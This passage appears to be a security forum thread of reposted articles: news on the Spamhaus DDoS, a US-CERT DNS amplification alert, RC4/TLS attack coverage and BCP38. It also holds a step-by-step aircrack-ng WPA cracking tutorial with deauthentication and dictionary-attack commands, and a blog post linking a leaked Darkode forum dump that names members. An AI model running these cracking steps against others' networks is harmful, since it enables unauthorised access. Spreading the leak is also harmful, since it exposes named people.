move beyond blacklisting individual IP addresses and start blacklisting ranges. If behavior still isn't improved, Spamhaus will block ever-larger ranges. All of these policies, predictably, have caused conflict. [h=2]Going to war[/h] Though Spamhaus does no blocking itself, groups that depend on spam tend to blame the company for their losses. This has resulted in court proceedings against the organization. In the US, now-defunct online marketing site e360insight sued Spamhaus after it was included on the ROKSO list, claiming that it had lost millions of dollars as a result of Spamhaus's decision. Being a UK-based company, Spamhaus initially ignored the lawsuit in the US, resulting in a default judgment against it, in which e360 was awarded almost $12 million in 2007. After US courts threatened to have Spamhaus's domain name suspended, the group decided at this point to get involved in the court case. Though the default judgment stood—if you don't show up at a civil case that's the risk you run—the $12 million judgment was overturned by the Seventh Circuit Court of Appeals. The case was bounced back to a lower court to decide on a new damages award. The second time around, the court decided on damages of $27,002. Both sides appealed again. In 2011 the Seventh Circuit Court of Appeals issued its second judgment on the issue. e360 was awarded damages of $3 after the court decided that e360 had failed to demonstrate the material impact of Spamhaus's decision and had instead wasted time and called a witness that "painted a wildly unrealistic picture" of e360s's losses. To add insult to injury, the court ordered e360 to pay Spamhaus's costs. In every practical sense, this was a victory for Spamhaus and a loss for e360, though it didn't much matter by this point; e360 went out of business in 2008 or 2009 after engaging in numerous lawsuits against Internet users who had called it a spammer, and against Comcast for blocking e360's spam. It lost all these cases. Obviously, those who make money from spamming will have a grievance with Spamhaus. But they're not the only ones, thanks in no small part to Spamhaus' escalation policy. Network providers and domain registries also fall foul of its policies from time to time. In 2007, for instance, Spamhaus asked Austrian domain registry nic.at to suspend some domains, claiming that they were registered improperly and were being used to host phishing sites. Nic.at refused, saying that it would be against Austrian law to do so. The registrar asked Spamhaus to show that the registration information on the sites was incorrect. Spamhaus responded by putting nic.at's mail server in its blacklist under the "spam support services" category, arguing that nic.at let spammers keep using their domains. Ultimately, the domains were removed and nic.at was delisted. These kinds of conflicts eventually led to a fight between Spamhaus and CyberBunker. Spamhaus regards CyberBunker—which has a policy of hosting any kind of content so long as it is not "child porn and anything related to terrorism"—as a spam support service. Spamhaus says that CyberBunker was at one point hosting Chinese sites selling spamvertised knock-off watches. CyberBunker says that this has never been proven, and it dismissed the complaints as "childish claims." Spamhaus went upstream. CyberBunker bought its bandwidth from a company called DataHouse, which in turn bought bandwidth from Dutch service provider A2B Internet. In June 2011, Spamhaus asked A2B to cut off CyberBunker's network. A2B didn't, so in October 2011, Spamhaus added a range of 2,048 A2B-owned addresses to its blacklist. E-mail correspondence between Spamhaus and A2B, published by A2B, eventually acknowledged that CyberBunker/cb3rob was hosting a spamvertised site. Shortly after this acknowledgement was made, A2B ceased routing for CyberBunker; five hours later Spamhaus removed A2B from the blacklist. A2B subsequently filed a police complaint against Spamhaus, claiming that the group was engaged in "extortion" and was conducting "denial of e-mail service" attacks. [h=2]Stopping Spamhaus?[/h] The collective opposition to Spamhaus has now produced STOPhaus. This is not the first group organizing to stop Spamhaus, and it comes after previous efforts such as stopspamhaus.org. The group dismisses Spamhaus' claim to only operate lists and perform no blocking itself as false and misleading to the public, and it claims that Spamhaus "violates multiple terrorism laws." STOPhaus members consistently describe Spamhaus' activity as "blackmail" and further argue that the information listed in ROKSO is "slander" [sic] and in violation of the UK's Data Protection Act. They also says that if Spamhaus detects criminal activity, it has the "legal obligation" to report this to law enforcement rather than to list offending IP addresses and domains in its databases. Finally, they claim that the DROP list is a violation of the "UK Computer Sabotage Act" (though no such act exists in the UK). The style of the STOPhaus announcement is more than a little familiar to anyone who has followed Anonymous' various Internet activities. It mirrors the verbiage and slogans that have been a common feature of past Anonymous announcements. The Anonymous similarities don't stop there. The STOPhaus forum contains preliminary attempts to dox people associated with Spamhaus and with anti-spam activities in general. (This includes Usenet group news.admin.net-abuse.email, where spam has been discussed since 1995, and Rob Pike, creator of the Plan 9 operating system and Google's Go programming language.) Besides claiming that Spamhaus is broadly criminal, STOPhaus asserts that Spamhaus threatens “net neutrality”; Spamhaus has such power that it can functionally deny people access to the Internet simply by listing them in its database. Despite all this alleged blocking, STOPhaus says that Spamhaus doesn't do one key thing: block spam. Not a single piece of it, apparently, not even as an accidental repercussion of the escalation policy. On March 19 of this year, STOPhaus supporters announced "Operation STOPhaus," demanding that Spamhaus cease listing any IP addresses other than those known to send spam to its own spamtraps, and that it compensate everyone whose non-spamming IP address was ever listed. Unsurprisingly, Spamhaus did not bow to the STOPhaus demands but instead complained to STOPhaus.com's hosting company, saying that the site was operated by a known spammer. Spamhaus was then attacked with a DDoS attack of apparently unprecedented scale. Kamphuis says that, although he is not personally conducting the attacks, the people who are could throw "quite a bit more" data at the anti-spam organization if needed. While this may disrupt the Internet for others, Kamphuis says that his group probably owns a third of the Internet, and as such they're "perfectly free" to break it if they want. If what Kamphuis says is true, Spamhaus can only expect the DDoS attacks to grow larger. [h=2]No end in sight[/h] Assuming that the attack really is being made to the large Russian and Chinese Internet companies that Kamphuis says are involved, there's no particular reason for it to end any time soon. In some ways similar to the open SMTP relays of the past, two pieces of poor configuration are facilitating the attacks. Unlike open SMTP relays, these poor configurations are unlikely to go away any time soon. The specific issues are ISPs that allow forged traffic to leave their networks—something which has little good justification to permit—and open DNS servers that can be used to generate large responses in response to forged IP traffic. Together, these allow attack systems that begin with a few gigabits of bandwidth to generate enormous floods of data through “amplification attacks” capable of knocking any conventionally hosted server off the 'Net. Even if a concerted effort were made to fix these systems, it would probably take months, if not years, to make a serious dent in the problem. As long as Spamhaus, its DDoS protection provider CloudFlare, and their respective connectivity providers are willing to tolerate the situation, they too don't really need to change anything. The Spamhaus blacklist is widely used, and it's widely used for one reason: contrary to STOPhaus's claims, it does, in fact, successfully block a lot of unwanted e-mail. There might be occasional collateral damage, but Spamhaus' users are clear: they're willing to take that risk if the alternative is more spam. Sursa: http://arstechnica.com/security/2013/03/when-spammers-go-to-war-behind-the-spamhaus-ddos/

Alert TA13-088A: DNS Amplification Attacks From: US-CERT Alerts <technical-alerts () us-cert gov> Date: Fri, 29 Mar 2013 16:16:20 -0400 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Awareness System TA13-088A: DNS Amplification Attacks Original release date: March 29, 2013 Systems Affected * Domain Name System (DNS) servers Overview A Domain Name Server (DNS) Amplification attack is a popular form of Distributed Denial of Service (DDoS) that relies on the use of publically accessible open recursive DNS servers to overwhelm a victim system with DNS response traffic. Description A Domain Name Server (DNS) Amplification attack is a popular form of Distributed Denial of Service (DDoS) that relies on the use of publically accessible open recursive DNS servers to overwhelm a victim system with DNS response traffic. The basic attack technique consists of an attacker sending a DNS name lookup request to an open recursive DNS server with the source address spoofed to be the victims address. When the DNS server sends the DNS record response, it is sent instead to the victim. Because the size of the response is typically considerably larger than the request, the attacker is able to amplify the volume of traffic directed at the victim. By leveraging a botnet to perform additional spoofed DNS queries, an attacker can produce an overwhelming amount of traffic with little effort. Additionally, because the responses are legitimate data coming from valid servers, it is especially difficult to block these types of attacks. While the attacks are difficult to prevent, network operators can implement several possible mitigation strategies. The primary element in the attack that is the focus of an effective long-term solution is the detection and elimination of open recursive DNS resolvers. These systems are typically legitimate DNS servers that have been improperly configured to respond to recursive queries on behalf of any system, rather than restricting recursive responses only to requests from local or authorized clients. By identifying these systems, an organization or network operator can reduce the number of potential resources that the attacker can employ in an attack. Impact A misconfigured Domain Name System (DNS) server can be exploited to participate in a Distributed Denial of Service (DDoS) attack. Solution DETECTION Several organizations offer free, web-based scanning tools that will search a network for vulnerable open DNS resolvers. These tools will scan entire network ranges and list the address of any identified open resolvers. Open DNS Resolver Project http://openresolverproject.org The Open DNS Resolver Project has compiled a list of DNS servers that are known to serve as globally accessible open resolvers. The query interface allows network administrators to enter IP ranges in CIDR format [1]. The Measurement Factory http://dns.measurement-factory.com Like the Open DNS Resolver Project, the Measurement Factory maintains a list of Internet accessible DNS servers and allows administrators to search for open recursive resolvers [2]. In addition, the Measurement Factory offers a free tool to directly test an individual DNS resolver to determine if it allows open recursion. This will allow an administrator to determine if configuration changes are necessary and verify that configuration changes have been effective [3]. Finally, the site offers statistics showing the number of open resolvers detected on the various Autonomous System (AS) networks, sorted by the highest number found [4]. DNSInspect http://www.dnsinspect.com Another freely available, web-based tool for testing DNS resolvers is DNSInspect. This site is similar to The Measurement Factorys ability to test a specific resolver for vulnerability, but offers the ability to test an entire DNS Zone for several other potential configuration and security issues [5]. Indicators In a typical recursive DNS query, a client sends a query request to a local DNS server requesting the resolution of a name or the reverse resolution of an IP address. The DNS server performs the necessary queries on behalf of the client and returns a response packet with the requested information or an error [6, page 21]. The specification does not allow for unsolicited responses. In a DNS amplification attack, the key indicator is a query response without a matching request. MITIGATION Unfortunately, due to the overwhelming traffic volume that can be produced by one of these attacks, there is often little that the victim can do to counter a large-scale DNS amplification-based distributed denial-of-service attack. While the only effective means of eliminating this type of attack is to eliminate open recursive resolvers, this requires a large-scale effort by numerous parties. According to the Open DNS Resolver Project, of the 27 million known DNS resolvers on the Internet, approximately 25 million pose a significant threat of being used in an attack [1]. However, several possible techniques are available to reduce the overall effectiveness of such attacks to the Internet community as a whole. Where possible, configuration links have been provided to assist administrators with making the recommended changes. The configuration information has been limited to BIND9 and Microsofts DNS Server, which are two widely deployed DNS servers. If you are running a different DNS server, please see your vendors documentation for configuration details. Source IP Verification Because the DNS queries being sent by the attacker-controlled clients must have a source address spoofed to appear as the victims system, the first step to reducing the effectiveness of DNS amplification is for Internet Service Providers to deny any DNS traffic with spoofed addresses. The Network Working Group of the Internet Engineering Task Force released a Best Current Practice document in May 2000 that describes how an Internet Service Provider can filter network traffic on their network to drop packets with source addresses not reachable via the actual packets path [7]. This configuration change would considerably reduce the potential for most current types of DDoS attacks. Disabling Recursion on Authoritative Name Servers Many of the DNS servers currently deployed on the Internet are exclusively intended to provide name resolution for a single domain. These systems do not need to support resolution of other domains on behalf of a client, and therefore should be configured with recursion disabled. Bind9 Add the following to the global options [8]: options { allow-query-cache { none; }; recursion no; }; Microsoft DNS Server In the Microsoft DNS console tool [9]: * Right-click the DNS server and click Properties. * Click the Advanced tab. * In Server options, select the Disable recursion check box, and then click OK. Limiting Recursion to Authorized Clients For DNS servers that are deployed within an organization or ISP to support name queries on behalf of a client, the resolver should be configured to only allow queries on behalf of authorized clients. These requests should typically only come from clients within the organizations network address range. BIND9 In the global options, add the following [10]: acl corpnets { 192.168.1.0/24; 192.168.2.0/24; }; options { allow-query { corpnets; }; allow-recursion { corpnets; }; }; Microsoft DNS Server It is not currently possible to restrict recursive DNS requests to a specific client address range in Microsoft DNS Server. The most effective means of approximating this functionality is to configure the internal DNS server to forward queries to an external DNS server and restrict DNS traffic in the firewall to restrict port 53 UDP traffic to the internal server and the external forwarder [11]. Rate Limiting Response of Recursive Name Servers There is currently an experimental feature available as a set of patches for BIND9 that allows an administrator to restrict the number of responses per second being sent from the name server [12]. This is intended to reduce the effectiveness of DNS amplification attacks by reducing the volume of traffic coming from any single resolver. BIND9 On BIND9 implementation running the RRL patches, add the following lines to the options block of the authoritative views [13]: rate-limit { responses-per-second 5; window 5; }; Microsoft DNS Server This option is currently not available for Microsoft DNS Server. References * [1] Open DNS Resolver Project * [2] The Measurement Factory, "List Open Resolvers on Your Network" * [3] The Measurement Factory, "Open Resolver Test" * [4] The Measurement Factory, "Open Resolvers for Each Autonomous System" * [5] "DNSInspect," DNSInspect.com * [6] RFC 1034: DOMAIN NAMES - CONCEPTS AND FACILITIES * [7] BCP 38: Network Ingress Filtering: Defeating Denial of Service Attacks which employ IP Source Address Spoofing * [8] Chapter 3. Name Server Configuration * [9] Disable recursion on the DNS server * [10] Chapter 7. BIND 9 Security Considerations * [11] Configure a DNS Server to Use Forwarders * [12] DNS Response Rate Limiting (DNS RRL) * [13] Response Rate Limiting in the Domain Name System (DNS RRL) Revision History * March 29, 2013: Initial release Relevant URL(s): <http://openresolverproject.org/> <http://dns.measurement-factory.com/cgi-bin/openresolverquery.pl> <http://dns.measurement-factory.com/cgi-bin/openresolvercheck.pl> <http://dns.measurement-factory.com/surveys/openresolvers/ASN-reports/latest.html> <http://www.dnsinspect.com/> <http://tools.ietf.org/html/rfc1034> <http://tools.ietf.org/html/bcp38> <http://ftp.isc.org/isc/bind9/cur/9.9/doc/arm/Bv9ARM.ch03.html#id2567992> <http://technet.microsoft.com/en-us/library/cc787602.aspx> <http://ftp.isc.org/isc/bind9/cur/9.9/doc/arm/Bv9ARM.ch07.html#Access_Control_Lists> <http://technet.microsoft.com/en-us/library/cc754941.aspx> <http://ss.vix.su/~vixie/isc-tn-2012-1.txt> <http://www.redbarn.org/dns/ratelimits> ____________________________________________________________________ Produced by US-CERT, a government organization. ____________________________________________________________________ This product is provided subject to this Notification: http://www.us-cert.gov/privacy/notification/ Privacy & Use policy: http://www.us-cert.gov/privacy/ This document can also be found at http://www.us-cert.gov/ncas/alerts/TA13-088A For instructions on subscribing to or unsubscribing from this mailing list, visit http://www.us-cert.gov/mailing-lists-and-feeds/ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.5 (GNU/Linux) iQEVAwUBUVXuq3dnhE8Qi3ZhAQIBXAf+LICtxQHGu5j7x8NAFG+tTSWrjducZ37v oWhQuSsXp9XjwAN1RdXOZRpX2Sbp5b1bVZ+FfjdPljoRVpoRksuBu5qOfzathZEP 3aRA7O0Kffuk2ofCsn8I9nWOas7bZa9gO8hGan4ORjEJLt4OWFtPW+2aWfDKY72x lcky1Ms6Z1TGkCTgJLuoUXXmGg8JQJqvRfkc7VAY4ttpJV1/DtpMIZyf2Hbr4inp ClnGYi64ukzu38kYkQ33u3oPKjYX8bwWKAZRnpQAcHO8ddswKre7Cz2Ar5tTNluY 0/nzEAx6BVAKgntp5NUJ8y55ej+RyEQiCpBAkhE8xImmxAUPJ7AiMw== =FVTl -----END PGP SIGNATURE----- Sursa: CERT: Alert TA13-088A: DNS Amplification Attacks

[TABLE] [TR] [TD][TABLE=width: 100%] [TR] [TD=align: justify]Salted Hash Generator is the FREE all-in-one tool to generate salted hash for popular hash types including MD5 and SHA1 family. [/TD] [/TR] [/TABLE] [/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD] [TABLE=width: 100%] [TR] [TD=align: justify] Here are the currently supported hash types, LM NTLM MD5 Family (MD2, MD4, MD5) SHA1 Family (SHA1, SHA256, SHA384, SHA512) RIPEMD160 For each type, it generates hash for various combination of Password & Salt as follows, Password only Password+Salt Salt+Password Finally, you can save the generated hash list to HTML/XML/TEXT file. It is fully portable and works on all platforms starting from Windows XP to Windows 8. [/TD] [/TR] [/TABLE] [/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD=class: page_subheader]Features [/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD] Generate Salted Hashes for popular algorithms including MD5, SHA256, LM, NTLM. Create Hash for all combination of password & salt Directly copy the selected hash from the list by right click menu option. Save the generated hash list to HTML/TEXT/XML file Simple, Easy to Use GUI Interface Installer for local installation & un-installation Fully Portable Tool, can be run anywhere [/TD] [/TR] [/TABLE] [TABLE] [TR] [TD]Screenshot 1:SaltedHashGenerator is generating hashes for various password & salt combinations[/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD=align: center] [/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD]Screenshot 2: HTML report of generated hash list.[/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD=align: center] [/TD] [/TR] [TR] [TD] [/TD] [/TR] [/TABLE] Download: http://securityxploded.com/download.php#saltedhashgenerator Sursa: Salted Hash Generator : All-in-one Tool to Generate Salted Hash for MD5/SHA1/SHA256/SHA512/LM/NTLM | www.SecurityXploded.com

[h=3]How To Crack A WPA Key With Aircrack-ng[/h]With the increase in popularity of wireless networks and mobile computing, an overall understanding of common security issues has become not only relevant, but very necessary for both home users and IT professionals alike. This article is aimed at illustrating current security flaws in WPA/WPA2. Successfully cracking a wireless network assumes some basic familiarity with networking principles and terminology. To successfully crack WPA/WPA2, you first need to be able to set your wireless network card in "monitor" mode to passively capture packets without being associated with a network. One of the best free utilities for monitoring wireless traffic and cracking WPA-PSK/WPA2 keys is the aircrack-ng suite, which we will use throughout this article. It has both Linux and Windows versions (provided your network card is supported under Windows). Network Adapter I am going to use for WPA/WPA2 cracking is Alfa AWUS036H , OS# Backtrack 5R2 Step 1 : Setting up your network device To capture network traffic wihtout being associated with an access point, we need to set the wireless network card in monitor mode. To do that, type: Command # iwconfig (to find all wireless network interfaces and their status) Command # airmon-ng start wlan0 (to set in monitor mode, you may have to substitute wlan0 for your own interface name) Step 2 : Reconnaissance This step assumes you've already set your wireless network interface in monitor mode. It can be checked by executing the iwconfig command. Next step is finding available wireless networks, and choosing your target: Command # airodump-ng mon0 (Monitors all channels, listing available access points and associated clients within range. Step 3 : Capturing Packets To capture data into a file, we use the airodump-ng tool again, with some additional switches to target a specific AP and channel. Assuming our wireless card is mon0, and we want to capture packets on channel 1 into a text file called data: Command # airodump-ng -c 1 bssid AP_MAC -w data mon0 Step 4 : De-Authentication Technique To successfully crack a WPA-PSK network, you first need a capture file containing handshake data. You may also try to deauthenticate an associated client to speed up this process of capturing a handshake, using: Command # aireplay-ng --deauth 3 -a MAC_AP -c MAC_Client mon0 (where MAC_AP is the MAC address of the access point, MAC_Client is the MAC address of an associated client. So, now we have successfully acquired a WPA Handshake. Step 5 : Cracking WPA/WAP2 Once you have captured a four-way handshake, you also need a large/relevant dictinary file (commonly known as wordlists) with common passphrases. Command # aircrack-ng -w wordlist ‘capture_file’.cap (where wordlist is your dictionary file, and capture_file is a .cap file with a valid WPA handshake) Cracking WPA-PSK and WPA2-PSK only needs (a handshake). After that, an offline dictionary attack on that handshake takes much longer, and will only succeed with weak passphrases and good dictionary files. Cracking WPA/WPA2 usually takes many hours, testing tens of millions of possible keys for the chance to stumble on a combination of common numerals or dictionary words. Still, a Weak/short/common/human-readable passphrase can be broken within a few minutes using an offline dictionary attack. About The Author Shaharyar Shafiq is doing Bachelors in Computer Engineering from Hamdard University. He has done C|PTE (Certified Penetration Testing Engineering) and he is interested in network Penetration Testing and Forensics. Sursa: How To Crack A WPA Key With Aircrack-ng | Learn How To Hack - Ethical Hacking and security tips

HTTPS Cracked! SSL/TLS Attacked And Exploited People who blog about ethical hacking have a very sincere relationship with Cryptographers. They (the Cryptographers) keep bringing in something delightful into the everyday nonsense and we blabber about their accomplishments until its squishy and old - this love goes far beyond then can be comprehended by normal folk. No offence. It seems like they have swept us off our feet again and this time around, they are flaunting the big guns. Cryptographers have targeted SSL/TLS and done some serious damage to HTTPS. Transport Layer Security didn't face a major blow during the attack as it requires to capture millions and billions of connections consisting of the same plaintext. But this highlights a major issue present in using the RC4 encryption algorithm. RC4 uses the same key for encryption and decryption, whereas TLS uses a public/private key pair for encryption and decryption which makes it lag therefore it uses a hybrid approach. TLS connection can be setup using public/private key pairs and once established can share encrypted data over a secure network that uses ciphers for encrypting data such as AES, DES, Triple-DES, Blowfish, RC4, etc. RC4 has been advised against many times in the past but its also a fact that it brings in half of all TLS traffic. So, the attack was done on a part of TLS by AlFardan-Bernstein-Paterson-Poettering-Schuldt (AIFBPPS). According to NakedSophos team; [INDENT] [FONT=inherit]RC4 is a [I]stream cipher[/I], so it is basically a keyed cryptographic pseudo-random number generator (PRNG). It emits a stream of cipher bytes that are XORed with your plaintext to produce the encrypted ciphertext.[/FONT] [FONT=inherit]To decrypt the ciphertext, you initialise RC4 with the same key, and XOR the ciphertext with the same stream of cipher bytes. XORing twice with the same value "cancels out", because k XOR k = 0, and because p XOR 0 = p.[/FONT] [/INDENT] RC4 generates a statistically anomalous output initially in each stream of cipher bytes. Therefore it is not a high-quality cryptographic PRNG. This phenomenon was first observed by Itsik Mantin and Adi Shamir in 2001. They noticed that during the second output byte the value zero turned up twice as often as it should; 256 keys on average to be precise with a probability of 1/128. This resulted in WEP being attacked which was then replaced by WPA. AIFBPPS have taken this attack further than anyone else "producing statistical tables for the probability of every output byte (0.255) for each of the first 256 output positions in an RC4 cipher stream, for a total of 65535 (256x256) measurements." According to NakedSophos team; [INDENT] [FONT=inherit]By using a sufficiently large sample size of differently-keyed RC4 streams, they achieved results with sufficient precision to determine that almost every possible output was biased in some way. The probability tables for a few of the output positions (which are numbered from 1 to 256) are show below. The authors realised that if you could produce TLS connections over and over again that contained the the same data at a known offset inside the first 256 bytes (for example an HTTP request with a session cookie at the start of the headers), you could use their probability tables to guess the cipher stream bytes for those offsets.[/FONT] [/INDENT] Here's a brief description of how it works by NakedSophos team: "Imagine that you know that the 48th plaintext byte, P48, is always the same, but not what it is. You provoke millions of TLS connections containing that fixed-but-unknown P48; in each connection, which will be using a randomly-chosen session key, P48 will end up encrypted with a pseudo-random cipher byte, K48, to give a pseudo-random ciphertext byte, C48. And you sniff the network traffic so you capture millions of different samples of C48. Now imagine that one value for C48 shows up more than 1% (1.01 times) more frequently than it ought to. We'll refer to this skewed value of C48 as C'. From the probability table for K48 above, you would guess that the cipher byte used for encrypting P to produce C' must have been 208 (0xD0), since K48 takes the value 208 more than 1% too often. In other words, C' must be P XOR 208, so that P must be C' XOR 208, and you have recovered the 48th byte of plaintext. The guesswork gets a little harder for cipher stream offsets where the skew in frequency distribution is less significant, but it's still possible, given sufficiently many captured TLS sessions. AlFBPPS measured how accurate their plaintext guesses were for varying numbers of TLS sessions, and the results were worrying, if not actually scary: "However, given the huge number of TLS sessions required, The Register's provocative URL theregister.co.uk/tls_broken might be going a bit far. Initiating 232 (4 billion), or even 228 (260 million), TLS sessions, and then sniffing and post-processing the results to extract a session cookie is unlikely to be a practicable attack any time soon. If nothing else, the validity of the session cookie might reasonably be expected to be shorter than the time taken to provoke hundreds of millions of redundant TLS connections. On the other hand, the advice to avoid RC4 altogether because of its not-so-random PRNG can't be written off as needlessly conservative. If you can, ditch RC4 from the set of symmetric ciphers your web browser is willing to use, and your web servers to accept. Go for AES-GCM instead. GCM, or Galois/Counter Mode, is a comparatively new way of using block ciphers that gives you encryption and authentication all in one, which not only avoids the risky RC4 cipher, but neatly bypasses the problems exposed in the Lucky 13 attack, too." Cheers! About the Author: This Article has been written by Dr. Sindhia Javed Junejo. She is one of the core members of RHA team. Sursa: HTTPS Cracked! SSL/TLS Attacked And Exploited | Learn How To Hack - Ethical Hacking and security tips

[h=3]New RC4 Attack[/h] This is a really clever attack on the RC4 encryption algorithm as used in TLS. We have found a new attack against TLS that allows an attacker to recover a limited amount of plaintext from a TLS connection when RC4 encryption is used. The attacks arise from statistical flaws in the keystream generated by the RC4 algorithm which become apparent in TLS ciphertexts when the same plaintext is repeatedly encrypted at a fixed location across many TLS sessions. The attack is very specialized: The attack is a multi-session attack, which means that we require a target plaintext to be repeatedly sent in the same position in the plaintext stream in multiple TLS sessions. The attack currently only targets the first 256 bytes of the plaintext stream in sessions. Since the first 36 bytes of plaintext are formed from an unpredictable Finished message when SHA-1 is the selected hashing algorithm in the TLS Record Protocol, these first 36 bytes cannot be recovered. This means that the attack can recover 220 bytes of TLS-encrypted plaintext. The number of sessions needed to reliably recover these plaintext bytes is around 230, but already with only 224 sessions, certain bytes can be recovered reliably. Is this a big deal? Yes and no. The attack requires the identical plaintext to be repeatedly encrypted. Normally, this would make for an impractical attack in the real world, but http messages often have stylized headers that are identical across a conversation -- for example, cookies. On the other hand, those are the only bits that can be decrypted. Currently, this attack is pretty raw and unoptimized -- so it's likely to become faster and better. There's no reason to panic here. But let's start to move away from RC4 to something like AES. There are lots of press articles on the attack. Sursa: Schneier on Security: New RC4 Attack

[h=3]Darkode leak[/h] And you can thanks Nassef. Internal Revenue Service I don't know if it's you who did this shit upaskitv1.org xylibox.biz krebsonsecurity.biz upaskitversion1.biz stevenk.biz briankrebs.biz upaskit1.biz researchsecurity.biz securityresearch.biz amatrosov.biz But seems you are related to this so i gave a fuck. Also i can thank you for this: Got your Builder from Darkode and made my keygen. I also grabbed alot of other things but it's another story. Nassef is also involved into POS sniffing. Trying to deal with carder shops: But i will not talk of Nassef here, but of 'darkode' This forum is know to be a 'elite' community of black hats, there is alot of (in)famous actors inside. Some are already jailled and some are still on business. Darkode login with a really gay captcha. And about the captcha they added it due to me: I don't live in Lyon and i never walked with you, get a life man. About the captcha something worry me: Seem he sniff passwords, i'm sure the login form is even backdoored to know passwords of his users. Also this is not my bruteforce, when i bruteforce it's more hardcore than this shit. Darkode, on a short period even asked a private SSL cert to avoid unauthorized people: They removed it for an unknown reason, (probably due to the skid wave end), admin of DK gived invite to everyone recently (i even received one without doing nothing, i'm not sure if it's black hat humor or if someone posed on dk and gived my mail) Anyway i don't need this invitation. Now, let's have a look on who's inside darkode... symlink: Paunch: *******: bx1: BestAV: Severa: Exmanoize: alexudakov: Carberp J.P.MORGAN Even Slavik according to admin: Some members listed here are already jailed, e.g: bx1, *******. A member who show off his money done with SpyEye ($11,404,34 USD): Another DK member who have launder 20k LR with members of this forum: Sweet orange stats of a guys: Coder of crimepack angry for the leak: Presentation of cr33k, coder of “Open Source Exploit Kit” "I skimmed Diebolds", "as a mule i cashed out WU payments with fake IDs" There is some nice people on darkode... Presentation of Egypack exploit kit: Business advice from a darkode admin: Now about darkode you will says "wow, this board is hardcore" but no... not really Maybe this forum was cool in 2009 with Gribodemon and shit's but actually it's look like hackforums. And about hackforums even admins are on it: mafi (www.hackforums.net/member.php?action=profile&uid=82912) Selling crimepack: sp3cial1st (hackforums.net/member.php?action=profile&uid=666599) Recruiting hackforums people for darkode: Fubar (hackforums.net/member.php?action=profile&uid=83826) HF Leet: (and they are all admins on darkode) profile of mafi on malwareview (a kernelmode.info like but with idiots): oh wow they use even hackforums products and resell them. ngrbot, is this the scene ? Also remember this ? Maybe in another post i will explain the dramascene between uNkn0wn and darkode... At darkode they will probably calls 2,3 screenshots a 'leak' so... i took around ~4500 screenshots: I know it can be hard for white hat to enter on community like darkode for do researchs. So enjoy 763 Mb of screenshots, not a full dump but almost a full dump. I have a full dump of course with each threads, pages fetched via wget but i keep this version for law enforcement guys (and some have already the darkode account and my regulars dump in hands since a long time, just saying..) Anyway even with this 'public' screenshots dump anyone have enough to launch indictments and shit. Oh.. it's really fun dude. Also took a screenshot of maza for the glory... (I must admit i miss malwares of 2010/2011) Gribo talk that Slavik is completely left from bussiness and he transfered everything related to Zeus 2.0 to Gribo, so he can continue work on this bot, including customers technical support. Slavik said to tell that he was happy to work with all the guys and other shit. You can download the public dump here: http://temari.fr/darkode.rar http://trollkore.fr/darkode.rar http://yandere.fr/darkode.rar After 24 hours i will remove the archive from my server so fetch it fast. Multiupload.nl - upload your files to multiple file hosting sites! To conclude: This post about darkode is exceptional i usualy leave these forums alone and don't blog about it. I receive a lots of emails requesting me to give a fuck about theses boards, but since some days for an unknown reason some guys of darkode started to seriously annoy me (adding me on skype and mailling me with shits), this is just my response to them. cb0f0ef62585ef7484d3582f3caf4ccf Have a nice day and good advice: stay away of darkode if you don't want someone to knock at your door Also don't ask me to do the same type of post about mazafaka, or other forums (i see already mails coming) If you want some infs http://trojanforge.com/showthread.php?t=2391 is a good start, i will not help. Posted by Steven K at 01:22 Sursa: XyliBox: Darkode leak

[h=1]How the Spamhaus DDoS attack could have been prevented[/h]Internet engineers have known for at least 13 years how to stop major distributed denial of service attacks. But thanks to a combination of economics and inertia, attacks continue. Here's why. by Declan McCullagh March 29, 2013 4:00 AM PDT Nearly 13 years ago, the wizardly band of engineers who invented and continue to defend the Internet published a prescient document they called BCP38, which described ways to thwart the most common forms of distributed denial-of-service attack. BCP38, short for Best Current Practice #38, was published soon after debilitating denial of service attacks crippled eBay, Amazon, Yahoo, and other major sites in February 2000. If those guidelines to stop malcontents from forging Internet addresses had been widely adopted by the companies, universities, and government agencies that operate the modern Internet, this week's electronic onslaught targeting Spamhaus would have been prevented. But they weren't. So a 300-gigabit-per-second torrent of traffic flooded into the networks of companies including Spamhaus, Cloudflare, and key Internet switching stations in Amsterdam, Frankfurt, and London. It was like 1,000 cars trying to crowd onto a highway designed for 100 vehicles at a time. Cloudflare dubbed it, perhaps a bit too dramatically, the attack "that almost broke the Internet." BCP38 outlined how providers can detect and then ignore the kind of forged Internet addresses that were used in this week's DDoS attack. Since its publication, though, adoption has been haphazard. Hardware generally needs to be upgraded. Employees and customers need to be trained. Routers definitely need to be reconfigured. The cost for most providers, in other words, has exceeded the benefits. "There's an asymmetric cost-benefit here," said Paul Vixie, an engineer and Internet pioneer who serves on the Internet Corporation for Assigned Names and Numbers' security advisory board. That's because, Vixie said, the provider that takes the time to secure its networks makes all the investment, while other providers "get all the reward." BCP38 is designed to verify that someone claiming to be located in a certain corner of the Internet actually is there. It's a little like a rule that the Postal Service might impose if there's a deluge of junk mail with fake return addresses originating from a particular ZIP code. If you're sending a letter from San Francisco, the new rule might say, your return label needs to sport a valid northern California address, not one falsely purporting to originate in Hong Kong or Paris. It might annoy the occasional tourist, but it would probably work in most cases. This week's anti-Spamhaus onslaught relied on attackers spoofing Internet addresses, then exploiting a feature of the domain name system (DNS) called open recursors or open recursive resolvers. Because of a quirk in the design of one of the Internet's workhorse protocols, these can amplify traffic over 30 times and overwhelm all but the best-defended targets. The countermeasures Preventing spoofing through BCP38 will prevent this type of amplification attack. "There is no way to exploit DNS servers of any type, including open recursors, to attack any third party without the ability to spoof traffic," said Arbor Networks' Roland Dobbins. "The ability to spoof traffic is what makes the attack possible. Take away the ability to spoof traffic, and DNS servers may no longer be abused to send floods of traffic to DDoS third parties." Other countermeasures exist. One of them is to lock down open recursive resolvers by allowing them to be used only by authorized users. There are about 27 million DNS resolvers on the global Internet. Of those, a full 25 million "pose a significant threat" and need to be reconfigured, according to a survey conducted by the Open Resolver Project. Reprogramming them all is the very definition of a non-trivial task. "You could stop this attack in either of two ways," 